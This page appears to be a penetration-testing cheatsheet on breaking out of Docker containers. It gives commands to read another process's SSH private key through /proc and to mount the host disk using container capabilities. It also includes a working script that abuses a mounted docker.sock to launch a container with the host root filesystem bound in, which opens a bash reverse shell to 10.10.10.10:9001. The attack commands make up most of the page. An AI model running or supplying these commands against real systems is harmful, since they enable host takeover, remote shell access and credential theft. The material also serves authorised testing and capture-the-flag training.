Cheatsheet
  • Documentation
  • Nmap
  • Ffuf
  • FTP
  • SMB
  • RPC
  • NFS
  • DNS
  • SMTP
  • IMAP / POP3
  • SNMP
  • SQL
  • Rsync
  • Certipy
  • CrackMapExec
  • Transferring Files
  • Windows Remote Management
  • Windows AV
  • Wordpress
  • Infrastructure Enumeration
  • Privilege Escalation
  • Docker Breakout
  • Shells
  • SSTI
  • XSS
  • Pivot
    • SSH Tunneling
    • Chisel
    • Ligolo-ng
    • Meterpreter
  • LDAP
  • Spray
  • Antivirus / EDR
  • Impacket
  • Bloodhound
  • Powershell
  • Kerberosting
  • Password Attacks
  • Command Injections
  • Sliver C2
  • Windows credentials
  • Windows persistance
  • VSCode Debug
Powered by GitBook
On this page
  • Enumeration Scripts
  • Process Abuse
  • Mounted docker socket
  • Container Capabilities

Docker Breakout

Enumeration Scripts

  • Deepce

  • Grype

  • CDK

  • Amicontained

Process Abuse

ps -ef --forest
ls -la /proc/<PID>/root/home/qu35t/.ssh/id_rsa

Mounted docker socket

find / -name docker.sock 2>/dev/null
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
#!/bin/bash

cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/10.10.10.10/9001 0<&1'\\\"\"]"

curl -s -X POST --unix-socket /var/run/docker.sock -d "{\"Image\":\"alpine\",\"cmd\":$cmd,\"Binds\":[\"/:/tmp:rw\"]}" -H 'Content-Type: application/json' http://localhost/containers/create?name=qu35t

curl -s -X POST --unix-socket /var/run/docker.sock "http://localhost/containers/qu35t/start"

Container Capabilities

capsh --print
fdisk -l
mkdir /mnt/qu35t
mount /dev/sda1 /mnt/qu35t
ls -la /mnt/qu35t/
PreviousPrivilege EscalationNextShells

Last updated 2 years ago